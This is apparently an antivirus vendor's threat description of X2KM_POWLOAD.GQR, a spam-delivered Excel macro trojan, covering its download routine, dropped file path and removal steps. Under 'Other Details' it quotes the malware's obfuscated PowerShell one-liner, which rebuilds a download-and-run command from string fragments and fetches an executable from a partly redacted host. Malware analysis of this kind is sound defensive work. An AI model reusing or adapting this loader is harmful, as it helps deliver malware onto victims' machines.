X2KM_POWLOAD.GQR
Troj/DocDl-JPC (Sophos); Trojan-Downloader.MSExcel.Agent.fs (Kaspersky)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
It does not have any propagation routine.
It does not have any backdoor routine.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
Propagation
This Trojan does not have any propagation routine.
Backdoor Routine
This Trojan does not have any backdoor routine.
Rootkit Capabilities
This Trojan does not have rootkit capabilities.
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}t.com/sxr.exe
It saves the files it downloads using the following names:
- %User Profile%\Documents\%appdata%.exe
Trend Micro detects the dowloaded file as:
- TSPY_BEBLOH.YMNOE
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
As of this writing, the said sites are inaccessible.
Other Details
This Trojan does the following:
- It uses the following Powershell to download and execute a malicious file:
- pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='%ap';$uy='pdat';$ji='a%.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://{BLOCKED}t.com/sxr.exe'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe);
It does not exploit any vulnerability.
NOTES:
The Excel file contains the following fake details luring users to enable macro content:
SOLUTION
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Remove malware/grayware files dropped/downloaded by X2KM_POWLOAD.GQR. (Note: Please skip this step if the threats listed below have already been removed.)
- TSPY_BEBLOH.YMNOE
Step 4
Search and delete these files
- %User Profile%\Documents\%appdata%.exe
Step 5
Scan your computer with your Trend Micro product to delete files detected as X2KM_POWLOAD.GQR. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Step 6
Enable the macro virus protection in Microsoft Office Applications
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